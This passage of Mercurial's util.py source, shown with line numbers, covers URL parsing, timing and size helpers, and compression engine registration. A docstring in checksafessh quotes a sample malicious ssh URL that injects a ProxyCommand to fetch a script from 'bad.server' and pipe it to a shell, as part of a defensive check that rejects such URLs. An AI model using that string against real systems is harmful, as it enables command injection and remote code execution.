2746 2751 raise Abort(_("no port number associated with service '%s'") % port)
2747 2752
2748 2753 _booleans = {'1': True, 'yes': True, 'true': True, 'on': True, 'always': True,
2749 2754 '0': False, 'no': False, 'false': False, 'off': False,
2750 2755 'never': False}
2751 2756
2752 2757 def parsebool(s):
2753 2758 """Parse s into a boolean.
2754 2759
2755 2760 If s is not a valid boolean, returns None.
2756 2761 """
2757 2762 return _booleans.get(s.lower(), None)
2758 2763
2759 2764 _hextochr = dict((a + b, chr(int(a + b, 16)))
2760 2765 for a in string.hexdigits for b in string.hexdigits)
2761 2766
2762 2767 class url(object):
2763 2768 r"""Reliable URL parser.
2764 2769
2765 2770 This parses URLs and provides attributes for the following
2766 2771 components:
2767 2772
2768 2773 <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment>
2769 2774
2770 2775 Missing components are set to None. The only exception is
2771 2776 fragment, which is set to '' if present but empty.
2772 2777
2773 2778 If parsefragment is False, fragment is included in query. If
2774 2779 parsequery is False, query is included in path. If both are
2775 2780 False, both fragment and query are included in path.
2776 2781
2777 2782 See http://www.ietf.org/rfc/rfc2396.txt for more information.
2778 2783
2779 2784 Note that for backward compatibility reasons, bundle URLs do not
2780 2785 take host names. That means 'bundle://../' has a path of '../'.
2781 2786
2782 2787 Examples:
2783 2788
2784 2789 >>> url(b'http://www.ietf.org/rfc/rfc2396.txt')
2785 2790 <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'>
2786 2791 >>> url(b'ssh://[::1]:2200//home/joe/repo')
2787 2792 <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'>
2788 2793 >>> url(b'file:///home/joe/repo')
2789 2794 <url scheme: 'file', path: '/home/joe/repo'>
2790 2795 >>> url(b'file:///c:/temp/foo/')
2791 2796 <url scheme: 'file', path: 'c:/temp/foo/'>
2792 2797 >>> url(b'bundle:foo')
2793 2798 <url scheme: 'bundle', path: 'foo'>
2794 2799 >>> url(b'bundle://../foo')
2795 2800 <url scheme: 'bundle', path: '../foo'>
2796 2801 >>> url(br'c:\foo\bar')
2797 2802 <url path: 'c:\\foo\\bar'>
2798 2803 >>> url(br'\\blah\blah\blah')
2799 2804 <url path: '\\\\blah\\blah\\blah'>
2800 2805 >>> url(br'\\blah\blah\blah#baz')
2801 2806 <url path: '\\\\blah\\blah\\blah', fragment: 'baz'>
2802 2807 >>> url(br'file:///C:\users\me')
2803 2808 <url scheme: 'file', path: 'C:\\users\\me'>
2804 2809
2805 2810 Authentication credentials:
2806 2811
2807 2812 >>> url(b'ssh://joe:xyz@x/repo')
2808 2813 <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'>
2809 2814 >>> url(b'ssh://joe@x/repo')
2810 2815 <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'>
2811 2816
2812 2817 Query strings and fragments:
2813 2818
2814 2819 >>> url(b'http://host/a?b#c')
2815 2820 <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'>
2816 2821 >>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False)
2817 2822 <url scheme: 'http', host: 'host', path: 'a?b#c'>
2818 2823
2819 2824 Empty path:
2820 2825
2821 2826 >>> url(b'')
2822 2827 <url path: ''>
2823 2828 >>> url(b'#a')
2824 2829 <url path: '', fragment: 'a'>
2825 2830 >>> url(b'http://host/')
2826 2831 <url scheme: 'http', host: 'host', path: ''>
2827 2832 >>> url(b'http://host/#a')
2828 2833 <url scheme: 'http', host: 'host', path: '', fragment: 'a'>
2829 2834
2830 2835 Only scheme:
2831 2836
2832 2837 >>> url(b'http:')
2833 2838 <url scheme: 'http'>
2834 2839 """
2835 2840
2836 2841 _safechars = "!~*'()+"
2837 2842 _safepchars = "/!~*'()+:\\"
2838 2843 _matchscheme = remod.compile('^[a-zA-Z0-9+.\\-]+:').match
2839 2844
2840 2845 def __init__(self, path, parsequery=True, parsefragment=True):
2841 2846 # We slowly chomp away at path until we have only the path left
2842 2847 self.scheme = self.user = self.passwd = self.host = None
2843 2848 self.port = self.path = self.query = self.fragment = None
2844 2849 self._localpath = True
2845 2850 self._hostport = ''
2846 2851 self._origpath = path
2847 2852
2848 2853 if parsefragment and '#' in path:
2849 2854 path, self.fragment = path.split('#', 1)
2850 2855
2851 2856 # special case for Windows drive letters and UNC paths
2852 2857 if hasdriveletter(path) or path.startswith('\\\\'):
2853 2858 self.path = path
2854 2859 return
2855 2860
2856 2861 # For compatibility reasons, we can't handle bundle paths as
2857 2862 # normal URLS
2858 2863 if path.startswith('bundle:'):
2859 2864 self.scheme = 'bundle'
2860 2865 path = path[7:]
2861 2866 if path.startswith('//'):
2862 2867 path = path[2:]
2863 2868 self.path = path
2864 2869 return
2865 2870
2866 2871 if self._matchscheme(path):
2867 2872 parts = path.split(':', 1)
2868 2873 if parts[0]:
2869 2874 self.scheme, path = parts
2870 2875 self._localpath = False
2871 2876
2872 2877 if not path:
2873 2878 path = None
2874 2879 if self._localpath:
2875 2880 self.path = ''
2876 2881 return
2877 2882 else:
2878 2883 if self._localpath:
2879 2884 self.path = path
2880 2885 return
2881 2886
2882 2887 if parsequery and '?' in path:
2883 2888 path, self.query = path.split('?', 1)
2884 2889 if not path:
2885 2890 path = None
2886 2891 if not self.query:
2887 2892 self.query = None
2888 2893
2889 2894 # // is required to specify a host/authority
2890 2895 if path and path.startswith('//'):
2891 2896 parts = path[2:].split('/', 1)
2892 2897 if len(parts) > 1:
2893 2898 self.host, path = parts
2894 2899 else:
2895 2900 self.host = parts[0]
2896 2901 path = None
2897 2902 if not self.host:
2898 2903 self.host = None
2899 2904 # path of file:///d is /d
2900 2905 # path of file:///d:/ is d:/, not /d:/
2901 2906 if path and not hasdriveletter(path):
2902 2907 path = '/' + path
2903 2908
2904 2909 if self.host and '@' in self.host:
2905 2910 self.user, self.host = self.host.rsplit('@', 1)
2906 2911 if ':' in self.user:
2907 2912 self.user, self.passwd = self.user.split(':', 1)
2908 2913 if not self.host:
2909 2914 self.host = None
2910 2915
2911 2916 # Don't split on colons in IPv6 addresses without ports
2912 2917 if (self.host and ':' in self.host and
2913 2918 not (self.host.startswith('[') and self.host.endswith(']'))):
2914 2919 self._hostport = self.host
2915 2920 self.host, self.port = self.host.rsplit(':', 1)
2916 2921 if not self.host:
2917 2922 self.host = None
2918 2923
2919 2924 if (self.host and self.scheme == 'file' and
2920 2925 self.host not in ('localhost', '127.0.0.1', '[::1]')):
2921 2926 raise Abort(_('file:// URLs can only refer to localhost'))
2922 2927
2923 2928 self.path = path
2924 2929
2925 2930 # leave the query string escaped
2926 2931 for a in ('user', 'passwd', 'host', 'port',
2927 2932 'path', 'fragment'):
2928 2933 v = getattr(self, a)
2929 2934 if v is not None:
2930 2935 setattr(self, a, urlreq.unquote(v))
2931 2936
2932 2937 @encoding.strmethod
2933 2938 def __repr__(self):
2934 2939 attrs = []
2935 2940 for a in ('scheme', 'user', 'passwd', 'host', 'port', 'path',
2936 2941 'query', 'fragment'):
2937 2942 v = getattr(self, a)
2938 2943 if v is not None:
2939 2944 attrs.append('%s: %r' % (a, v))
2940 2945 return '<url %s>' % ', '.join(attrs)
2941 2946
2942 2947 def __bytes__(self):
2943 2948 r"""Join the URL's components back into a URL string.
2944 2949
2945 2950 Examples:
2946 2951
2947 2952 >>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'))
2948 2953 'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'
2949 2954 >>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42'))
2950 2955 'http://user:pw@host:80/?foo=bar&baz=42'
2951 2956 >>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz'))
2952 2957 'http://user:pw@host:80/?foo=bar%3dbaz'
2953 2958 >>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#'))
2954 2959 'ssh://user:pw@[::1]:2200//home/joe#'
2955 2960 >>> bytes(url(b'http://localhost:80//'))
2956 2961 'http://localhost:80//'
2957 2962 >>> bytes(url(b'http://localhost:80/'))
2958 2963 'http://localhost:80/'
2959 2964 >>> bytes(url(b'http://localhost:80'))
2960 2965 'http://localhost:80/'
2961 2966 >>> bytes(url(b'bundle:foo'))
2962 2967 'bundle:foo'
2963 2968 >>> bytes(url(b'bundle://../foo'))
2964 2969 'bundle:../foo'
2965 2970 >>> bytes(url(b'path'))
2966 2971 'path'
2967 2972 >>> bytes(url(b'file:///tmp/foo/bar'))
2968 2973 'file:///tmp/foo/bar'
2969 2974 >>> bytes(url(b'file:///c:/tmp/foo/bar'))
2970 2975 'file:///c:/tmp/foo/bar'
2971 2976 >>> print(url(br'bundle:foo\bar'))
2972 2977 bundle:foo\bar
2973 2978 >>> print(url(br'file:///D:\data\hg'))
2974 2979 file:///D:\data\hg
2975 2980 """
2976 2981 if self._localpath:
2977 2982 s = self.path
2978 2983 if self.scheme == 'bundle':
2979 2984 s = 'bundle:' + s
2980 2985 if self.fragment:
2981 2986 s += '#' + self.fragment
2982 2987 return s
2983 2988
2984 2989 s = self.scheme + ':'
2985 2990 if self.user or self.passwd or self.host:
2986 2991 s += '//'
2987 2992 elif self.scheme and (not self.path or self.path.startswith('/')
2988 2993 or hasdriveletter(self.path)):
2989 2994 s += '//'
2990 2995 if hasdriveletter(self.path):
2991 2996 s += '/'
2992 2997 if self.user:
2993 2998 s += urlreq.quote(self.user, safe=self._safechars)
2994 2999 if self.passwd:
2995 3000 s += ':' + urlreq.quote(self.passwd, safe=self._safechars)
2996 3001 if self.user or self.passwd:
2997 3002 s += '@'
2998 3003 if self.host:
2999 3004 if not (self.host.startswith('[') and self.host.endswith(']')):
3000 3005 s += urlreq.quote(self.host)
3001 3006 else:
3002 3007 s += self.host
3003 3008 if self.port:
3004 3009 s += ':' + urlreq.quote(self.port)
3005 3010 if self.host:
3006 3011 s += '/'
3007 3012 if self.path:
3008 3013 # TODO: similar to the query string, we should not unescape the
3009 3014 # path when we store it, the path might contain '%2f' = '/',
3010 3015 # which we should *not* escape.
3011 3016 s += urlreq.quote(self.path, safe=self._safepchars)
3012 3017 if self.query:
3013 3018 # we store the query in escaped form.
3014 3019 s += '?' + self.query
3015 3020 if self.fragment is not None:
3016 3021 s += '#' + urlreq.quote(self.fragment, safe=self._safepchars)
3017 3022 return s
3018 3023
3019 3024 __str__ = encoding.strmethod(__bytes__)
3020 3025
3021 3026 def authinfo(self):
3022 3027 user, passwd = self.user, self.passwd
3023 3028 try:
3024 3029 self.user, self.passwd = None, None
3025 3030 s = bytes(self)
3026 3031 finally:
3027 3032 self.user, self.passwd = user, passwd
3028 3033 if not self.user:
3029 3034 return (s, None)
3030 3035 # authinfo[1] is passed to urllib2 password manager, and its
3031 3036 # URIs must not contain credentials. The host is passed in the
3032 3037 # URIs list because Python < 2.4.3 uses only that to search for
3033 3038 # a password.
3034 3039 return (s, (None, (s, self.host),
3035 3040 self.user, self.passwd or ''))
3036 3041
3037 3042 def isabs(self):
3038 3043 if self.scheme and self.scheme != 'file':
3039 3044 return True # remote URL
3040 3045 if hasdriveletter(self.path):
3041 3046 return True # absolute for our purposes - can't be joined()
3042 3047 if self.path.startswith(br'\\'):
3043 3048 return True # Windows UNC path
3044 3049 if self.path.startswith('/'):
3045 3050 return True # POSIX-style
3046 3051 return False
3047 3052
3048 3053 def localpath(self):
3049 3054 if self.scheme == 'file' or self.scheme == 'bundle':
3050 3055 path = self.path or '/'
3051 3056 # For Windows, we need to promote hosts containing drive
3052 3057 # letters to paths with drive letters.
3053 3058 if hasdriveletter(self._hostport):
3054 3059 path = self._hostport + '/' + self.path
3055 3060 elif (self.host is not None and self.path
3056 3061 and not hasdriveletter(path)):
3057 3062 path = '/' + path
3058 3063 return path
3059 3064 return self._origpath
3060 3065
3061 3066 def islocal(self):
3062 3067 '''whether localpath will return something that posixfile can open'''
3063 3068 return (not self.scheme or self.scheme == 'file'
3064 3069 or self.scheme == 'bundle')
3065 3070
3066 3071 def hasscheme(path):
3067 3072 return bool(url(path).scheme)
3068 3073
3069 3074 def hasdriveletter(path):
3070 3075 return path and path[1:2] == ':' and path[0:1].isalpha()
3071 3076
3072 3077 def urllocalpath(path):
3073 3078 return url(path, parsequery=False, parsefragment=False).localpath()
3074 3079
3075 3080 def checksafessh(path):
3076 3081 """check if a path / url is a potentially unsafe ssh exploit (SEC)
3077 3082
3078 3083 This is a sanity check for ssh urls. ssh will parse the first item as
3079 3084 an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
3080 3085 Let's prevent these potentially exploited urls entirely and warn the
3081 3086 user.
3082 3087
3083 3088 Raises an error.Abort when the url is unsafe.
3084 3089 """
3085 3090 path = urlreq.unquote(path)
3086 3091 if path.startswith('ssh://-') or path.startswith('svn+ssh://-'):
3087 3092 raise error.Abort(_('potentially unsafe url: %r') %
3088 3093 (path,))
3089 3094
3090 3095 def hidepassword(u):
3091 3096 '''hide user credential in a url string'''
3092 3097 u = url(u)
3093 3098 if u.passwd:
3094 3099 u.passwd = '***'
3095 3100 return bytes(u)
3096 3101
3097 3102 def removeauth(u):
3098 3103 '''remove all authentication information from a url string'''
3099 3104 u = url(u)
3100 3105 u.user = u.passwd = None
3101 3106 return str(u)
3102 3107
3103 3108 timecount = unitcountfn(
3104 3109 (1, 1e3, _('%.0f s')),
3105 3110 (100, 1, _('%.1f s')),
3106 3111 (10, 1, _('%.2f s')),
3107 3112 (1, 1, _('%.3f s')),
3108 3113 (100, 0.001, _('%.1f ms')),
3109 3114 (10, 0.001, _('%.2f ms')),
3110 3115 (1, 0.001, _('%.3f ms')),
3111 3116 (100, 0.000001, _('%.1f us')),
3112 3117 (10, 0.000001, _('%.2f us')),
3113 3118 (1, 0.000001, _('%.3f us')),
3114 3119 (100, 0.000000001, _('%.1f ns')),
3115 3120 (10, 0.000000001, _('%.2f ns')),
3116 3121 (1, 0.000000001, _('%.3f ns')),
3117 3122 )
3118 3123
3119 3124 _timenesting = [0]
3120 3125
3121 3126 def timed(func):
3122 3127 '''Report the execution time of a function call to stderr.
3123 3128
3124 3129 During development, use as a decorator when you need to measure
3125 3130 the cost of a function, e.g. as follows:
3126 3131
3127 3132 @util.timed
3128 3133 def foo(a, b, c):
3129 3134 pass
3130 3135 '''
3131 3136
3132 3137 def wrapper(*args, **kwargs):
3133 3138 start = timer()
3134 3139 indent = 2
3135 3140 _timenesting[0] += indent
3136 3141 try:
3137 3142 return func(*args, **kwargs)
3138 3143 finally:
3139 3144 elapsed = timer() - start
3140 3145 _timenesting[0] -= indent
3141 3146 stderr.write('%s%s: %s\n' %
3142 3147 (' ' * _timenesting[0], func.__name__,
3143 3148 timecount(elapsed)))
3144 3149 return wrapper
3145 3150
3146 3151 _sizeunits = (('m', 2**20), ('k', 2**10), ('g', 2**30),
3147 3152 ('kb', 2**10), ('mb', 2**20), ('gb', 2**30), ('b', 1))
3148 3153
3149 3154 def sizetoint(s):
3150 3155 '''Convert a space specifier to a byte count.
3151 3156
3152 3157 >>> sizetoint(b'30')
3153 3158 30
3154 3159 >>> sizetoint(b'2.2kb')
3155 3160 2252
3156 3161 >>> sizetoint(b'6M')
3157 3162 6291456
3158 3163 '''
3159 3164 t = s.strip().lower()
3160 3165 try:
3161 3166 for k, u in _sizeunits:
3162 3167 if t.endswith(k):
3163 3168 return int(float(t[:-len(k)]) * u)
3164 3169 return int(t)
3165 3170 except ValueError:
3166 3171 raise error.ParseError(_("couldn't parse size: %s") % s)
3167 3172
3168 3173 class hooks(object):
3169 3174 '''A collection of hook functions that can be used to extend a
3170 3175 function's behavior. Hooks are called in lexicographic order,
3171 3176 based on the names of their sources.'''
3172 3177
3173 3178 def __init__(self):
3174 3179 self._hooks = []
3175 3180
3176 3181 def add(self, source, hook):
3177 3182 self._hooks.append((source, hook))
3178 3183
3179 3184 def __call__(self, *args):
3180 3185 self._hooks.sort(key=lambda x: x[0])
3181 3186 results = []
3182 3187 for source, hook in self._hooks:
3183 3188 results.append(hook(*args))
3184 3189 return results
3185 3190
3186 3191 def getstackframes(skip=0, line=' %-*s in %s\n', fileline='%s:%d', depth=0):
3187 3192 '''Yields lines for a nicely formatted stacktrace.
3188 3193 Skips the 'skip' last entries, then return the last 'depth' entries.
3189 3194 Each file+linenumber is formatted according to fileline.
3190 3195 Each line is formatted according to line.
3191 3196 If line is None, it yields:
3192 3197 length of longest filepath+line number,
3193 3198 filepath+linenumber,
3194 3199 function
3195 3200
3196 3201 Not be used in production code but very convenient while developing.
3197 3202 '''
3198 3203 entries = [(fileline % (pycompat.sysbytes(fn), ln), pycompat.sysbytes(func))
3199 3204 for fn, ln, func, _text in traceback.extract_stack()[:-skip - 1]
3200 3205 ][-depth:]
3201 3206 if entries:
3202 3207 fnmax = max(len(entry[0]) for entry in entries)
3203 3208 for fnln, func in entries:
3204 3209 if line is None:
3205 3210 yield (fnmax, fnln, func)
3206 3211 else:
3207 3212 yield line % (fnmax, fnln, func)
3208 3213
3209 3214 def debugstacktrace(msg='stacktrace', skip=0,
3210 3215 f=stderr, otherf=stdout, depth=0):
3211 3216 '''Writes a message to f (stderr) with a nicely formatted stacktrace.
3212 3217 Skips the 'skip' entries closest to the call, then show 'depth' entries.
3213 3218 By default it will flush stdout first.
3214 3219 It can be used everywhere and intentionally does not require an ui object.
3215 3220 Not be used in production code but very convenient while developing.
3216 3221 '''
3217 3222 if otherf:
3218 3223 otherf.flush()
3219 3224 f.write('%s at:\n' % msg.rstrip())
3220 3225 for line in getstackframes(skip + 1, depth=depth):
3221 3226 f.write(line)
3222 3227 f.flush()
3223 3228
3224 3229 class dirs(object):
3225 3230 '''a multiset of directory names from a dirstate or manifest'''
3226 3231
3227 3232 def __init__(self, map, skip=None):
3228 3233 self._dirs = {}
3229 3234 addpath = self.addpath
3230 3235 if safehasattr(map, 'iteritems') and skip is not None:
3231 3236 for f, s in map.iteritems():
3232 3237 if s[0] != skip:
3233 3238 addpath(f)
3234 3239 else:
3235 3240 for f in map:
3236 3241 addpath(f)
3237 3242
3238 3243 def addpath(self, path):
3239 3244 dirs = self._dirs
3240 3245 for base in finddirs(path):
3241 3246 if base in dirs:
3242 3247 dirs[base] += 1
3243 3248 return
3244 3249 dirs[base] = 1
3245 3250
3246 3251 def delpath(self, path):
3247 3252 dirs = self._dirs
3248 3253 for base in finddirs(path):
3249 3254 if dirs[base] > 1:
3250 3255 dirs[base] -= 1
3251 3256 return
3252 3257 del dirs[base]
3253 3258
3254 3259 def __iter__(self):
3255 3260 return iter(self._dirs)
3256 3261
3257 3262 def __contains__(self, d):
3258 3263 return d in self._dirs
3259 3264
3260 3265 if safehasattr(parsers, 'dirs'):
3261 3266 dirs = parsers.dirs
3262 3267
3263 3268 def finddirs(path):
3264 3269 pos = path.rfind('/')
3265 3270 while pos != -1:
3266 3271 yield path[:pos]
3267 3272 pos = path.rfind('/', 0, pos)
3268 3273
3269 3274 # compression code
3270 3275
3271 3276 SERVERROLE = 'server'
3272 3277 CLIENTROLE = 'client'
3273 3278
3274 3279 compewireprotosupport = collections.namedtuple(u'compenginewireprotosupport',
3275 3280 (u'name', u'serverpriority',
3276 3281 u'clientpriority'))
3277 3282
3278 3283 class compressormanager(object):
3279 3284 """Holds registrations of various compression engines.
3280 3285
3281 3286 This class essentially abstracts the differences between compression
3282 3287 engines to allow new compression formats to be added easily, possibly from
3283 3288 extensions.
3284 3289
3285 3290 Compressors are registered against the global instance by calling its
3286 3291 ``register()`` method.
3287 3292 """
3288 3293 def __init__(self):
3289 3294 self._engines = {}
3290 3295 # Bundle spec human name to engine name.
3291 3296 self._bundlenames = {}
3292 3297 # Internal bundle identifier to engine name.
3293 3298 self._bundletypes = {}
3294 3299 # Revlog header to engine name.
3295 3300 self._revlogheaders = {}
3296 3301 # Wire proto identifier to engine name.
3297 3302 self._wiretypes = {}
3298 3303
3299 3304 def __getitem__(self, key):
3300 3305 return self._engines[key]
3301 3306
3302 3307 def __contains__(self, key):
3303 3308 return key in self._engines
3304 3309
3305 3310 def __iter__(self):
3306 3311 return iter(self._engines.keys())
3307 3312
3308 3313 def register(self, engine):
3309 3314 """Register a compression engine with the manager.
3310 3315
3311 3316 The argument must be a ``compressionengine`` instance.
3312 3317 """
3313 3318 if not isinstance(engine, compressionengine):
3314 3319 raise ValueError(_('argument must be a compressionengine'))
3315 3320
3316 3321 name = engine.name()
3317 3322
3318 3323 if name in self._engines:
3319 3324 raise error.Abort(_('compression engine %s already registered') %
3320 3325 name)
3321 3326
3322 3327 bundleinfo = engine.bundletype()
3323 3328 if bundleinfo:
3324 3329 bundlename, bundletype = bundleinfo
3325 3330
3326 3331 if bundlename in self._bundlenames:
3327 3332 raise error.Abort(_('bundle name %s already registered') %
3328 3333 bundlename)
3329 3334 if bundletype in self._bundletypes:
3330 3335 raise error.Abort(_('bundle type %s already registered by %s') %
3331 3336 (bundletype, self._bundletypes[bundletype]))
3332 3337
3333 3338 # No external facing name declared.
3334 3339 if bundlename:
3335 3340 self._bundlenames[bundlename] = name
3336 3341
3337 3342 self._bundletypes[bundletype] = name
3338 3343
3339 3344 wiresupport = engine.wireprotosupport()
3340 3345 if wiresupport:
3341 3346 wiretype = wiresupport.name
3342 3347 if wiretype in self._wiretypes:
3343 3348 raise error.Abort(_('wire protocol compression %s already '
3344 3349 'registered by %s') %
3345 3350 (wiretype, self._wiretypes[wiretype]))
3346 3351
3347 3352 self._wiretypes[wiretype] = name
3348 3353
3349 3354 revlogheader = engine.revlogheader()
3350 3355 if revlogheader and revlogheader in self._revlogheaders:
3351 3356 raise error.Abort(_('revlog header %s already registered by %s') %
3352 3357 (revlogheader, self._revlogheaders[revlogheader]))
3353 3358
3354 3359 if revlogheader:
3355 3360 self._revlogheaders[revlogheader] = name
3356 3361
3357 3362 self._engines[name] = engine
3358 3363
3359 3364 @property
3360 3365 def supportedbundlenames(self):
3361 3366 return set(self._bundlenames.keys())
3362 3367
3363 3368 @property
3364 3369 def supportedbundletypes(self):
3365 3370 return set(self._bundletypes.keys())
3366 3371
3367 3372 def forbundlename(self, bundlename):
3368 3373 """Obtain a compression engine registered to a bundle name.
3369 3374
3370 3375 Will raise KeyError if the bundle type isn't registered.
3371 3376
3372 3377 Will abort if the engine is known but not available.
3373 3378 """
3374 3379 engine = self._engines[self._bundlenames[bundlename]]
3375 3380 if not engine.available():
3376 3381 raise error.Abort(_('compression engine %s could not be loaded') %
3377 3382 engine.name())
3378 3383 return engine
3379 3384
3380 3385 def forbundletype(self, bundletype):
3381 3386 """Obtain a compression engine registered to a bundle type.
3382 3387
3383 3388 Will raise KeyError if the bundle type isn't registered.
3384 3389
3385 3390 Will abort if the engine is known but not available.
3386 3391 """
3387 3392 engine = self._engines[self._bundletypes[bundletype]]
3388 3393 if not engine.available():
3389 3394 raise error.Abort(_('compression engine %s could not be loaded') %
3390 3395 engine.name())
3391 3396 return engine
3392 3397
3393 3398 def supportedwireengines(self, role, onlyavailable=True):
3394 3399 """Obtain compression engines that support the wire protocol.
3395 3400
3396 3401 Returns a list of engines in prioritized order, most desired first.
3397 3402
3398 3403 If ``onlyavailable`` is set, filter out engines that can't be
3399 3404 loaded.
3400 3405 """
3401 3406 assert role in (SERVERROLE, CLIENTROLE)
3402 3407
3403 3408 attr = 'serverpriority' if role == SERVERROLE else 'clientpriority'
3404 3409
3405 3410 engines = [self._engines[e] for e in self._wiretypes.values()]
3406 3411 if onlyavailable:
3407 3412 engines = [e for e in engines if e.available()]
3408 3413
3409 3414 def getkey(e):
3410 3415 # Sort first by priority, highest first. In case of tie, sort
3411 3416 # alphabetically. This is arbitrary, but ensures output is
3412 3417 # stable.
3413 3418 w = e.wireprotosupport()
3414 3419 return -1 * getattr(w, attr), w.name
3415 3420
3416 3421 return list(sorted(engines, key=getkey))
3417 3422
3418 3423 def forwiretype(self, wiretype):
3419 3424 engine = self._engines[self._wiretypes[wiretype]]
3420 3425 if not engine.available():
3421 3426 raise error.Abort(_('compression engine %s could not be loaded') %
3422 3427 engine.name())
3423 3428 return engine
3424 3429
3425 3430 def forrevlogheader(self, header):
3426 3431 """Obtain a compression engine registered to a revlog header.
3427 3432
3428 3433 Will raise KeyError if the revlog header value isn't registered.
3429 3434 """
3430 3435 return self._engines[self._revlogheaders[header]]
3431 3436
3432 3437 compengines = compressormanager()
3433 3438
3434 3439 class compressionengine(object):
3435 3440 """Base class for compression engines.
3436 3441
3437 3442 Compression engines must implement the interface defined by this class.
3438 3443 """
3439 3444 def name(self):
3440 3445 """Returns the name of the compression engine.
3441 3446
3442 3447 This is the key the engine is registered under.
3443 3448
3444 3449 This method must be implemented.
3445 3450 """
3446 3451 raise NotImplementedError()
3447 3452
3448 3453 def available(self):
3449 3454 """Whether the compression engine is available.
3450 3455
3451 3456 The intent of this method is to allow optional compression engines
3452 3457 that may not be available in all installations (such as engines relying
3453 3458 on C extensions that may not be present).
3454 3459 """
3455 3460 return True
3456 3461
3457 3462 def bundletype(self):
3458 3463 """Describes bundle identifiers for this engine.
3459 3464
3460 3465 If this compression engine isn't supported for bundles, returns None.
3461 3466
3462 3467 If this engine can be used for bundles, returns a 2-tuple of strings of
3463 3468 the user-facing "bundle spec" compression name and an internal
3464 3469 identifier used to denote the compression format within bundles. To
3465 3470 exclude the name from external usage, set the first element to ``None``.
3466 3471
3467 3472 If bundle compression is supported, the class must also implement
3468 3473 ``compressstream`` and `decompressorreader``.
3469 3474
3470 3475 The docstring of this method is used in the help system to tell users
3471 3476 about this engine.
3472 3477 """
3473 3478 return None
3474 3479
3475 3480 def wireprotosupport(self):
3476 3481 """Declare support for this compression format on the wire protocol.
3477 3482
3478 3483 If this compression engine isn't supported for compressing wire
3479 3484 protocol payloads, returns None.
3480 3485
3481 3486 Otherwise, returns ``compenginewireprotosupport`` with the following
3482 3487 fields:
3483 3488
3484 3489 * String format identifier
3485 3490 * Integer priority for the server
3486 3491 * Integer priority for the client
3487 3492
3488 3493 The integer priorities are used to order the advertisement of format
3489 3494 support by server and client. The highest integer is advertised
3490 3495 first. Integers with non-positive values aren't advertised.
3491 3496
3492 3497 The priority values are somewhat arbitrary and only used for default
3493 3498 ordering. The relative order can be changed via config options.
3494 3499
3495 3500 If wire protocol compression is supported, the class must also implement
3496 3501 ``compressstream`` and ``decompressorreader``.
3497 3502 """
3498 3503 return None
3499 3504
3500 3505 def revlogheader(self):
3501 3506 """Header added to revlog chunks that identifies this engine.
3502 3507
3503 3508 If this engine can be used to compress revlogs, this method should
3504 3509 return the bytes used to identify chunks compressed with this engine.
3505 3510 Else, the method should return ``None`` to indicate it does not
3506 3511 participate in revlog compression.
3507 3512 """
3508 3513 return None
3509 3514
3510 3515 def compressstream(self, it, opts=None):
3511 3516 """Compress an iterator of chunks.
3512 3517
3513 3518 The method receives an iterator (ideally a generator) of chunks of
3514 3519 bytes to be compressed. It returns an iterator (ideally a generator)
3515 3520 of bytes of chunks representing the compressed output.
3516 3521
3517 3522 Optionally accepts an argument defining how to perform compression.
3518 3523 Each engine treats this argument differently.
3519 3524 """
3520 3525 raise NotImplementedError()
3521 3526
3522 3527 def decompressorreader(self, fh):
3523 3528 """Perform decompression on a file object.
3524 3529
3525 3530 Argument is an object with a ``read(size)`` method that returns
3526 3531 compressed data. Return value is an object with a ``read(size)`` that
3527 3532 returns uncompressed data.
3528 3533 """
3529 3534 raise NotImplementedError()
3530 3535
3531 3536 def revlogcompressor(self, opts=None):
3532 3537 """Obtain an object that can be used to compress revlog entries.
3533 3538
3534 3539 The object has a ``compress(data)`` method that compresses binary
3535 3540 data. This method returns compressed binary data or ``None`` if
3536 3541 the data could not be compressed (too small, not compressible, etc).
3537 3542 The returned data should have a header uniquely identifying this
3538 3543 compression format so decompression can be routed to this engine.
3539 3544 This header should be identified by the ``revlogheader()`` return
3540 3545 value.
3541 3546
3542 3547 The object has a ``decompress(data)`` method that decompresses
3543 3548 data. The method will only be called if ``data`` begins with
3544 3549 ``revlogheader()``. The method should return the raw, uncompressed
3545 3550 data or raise a ``RevlogError``.
3546 3551
3547 3552 The object is reusable but is not thread safe.
3548 3553 """
3549 3554 raise NotImplementedError()
3550 3555
3551 3556 class _zlibengine(compressionengine):
3552 3557 def name(self):
3553 3558 return 'zlib'
3554 3559
3555 3560 def bundletype(self):
3556 3561 """zlib compression using the DEFLATE algorithm.
3557 3562
3558 3563 All Mercurial clients should support this format. The compression
3559 3564 algorithm strikes a reasonable balance between compression ratio
3560 3565 and size.
3561 3566 """
3562 3567 return 'gzip', 'GZ'
3563 3568
3564 3569 def wireprotosupport(self):
3565 3570 return compewireprotosupport('zlib', 20, 20)
3566 3571
3567 3572 def revlogheader(self):
3568 3573 return 'x'
3569 3574
3570 3575 def compressstream(self, it, opts=None):
3571 3576 opts = opts or {}
3572 3577
3573 3578 z = zlib.compressobj(opts.get('level', -1))
3574 3579 for chunk in it:
3575 3580 data = z.compress(chunk)
3576 3581 # Not all calls to compress emit data. It is cheaper to inspect
3577 3582 # here than to feed empty chunks through generator.
3578 3583 if data:
3579 3584 yield data
3580 3585
3581 3586 yield z.flush()
3582 3587
3583 3588 def decompressorreader(self, fh):
3584 3589 def gen():
3585 3590 d = zlib.decompressobj()
3586 3591 for chunk in filechunkiter(fh):
3587 3592 while chunk:
3588 3593 # Limit output size to limit memory.
3589 3594 yield d.decompress(chunk, 2 ** 18)
3590 3595 chunk = d.unconsumed_tail
3591 3596
3592 3597 return chunkbuffer(gen())
3593 3598
3594 3599 class zlibrevlogcompressor(object):
3595 3600 def compress(self, data):
3596 3601 insize = len(data)
3597 3602 # Caller handles empty input case.
3598 3603 assert insize > 0
3599 3604
3600 3605 if insize < 44:
3601 3606 return None
3602 3607
3603 3608 elif insize <= 1000000:
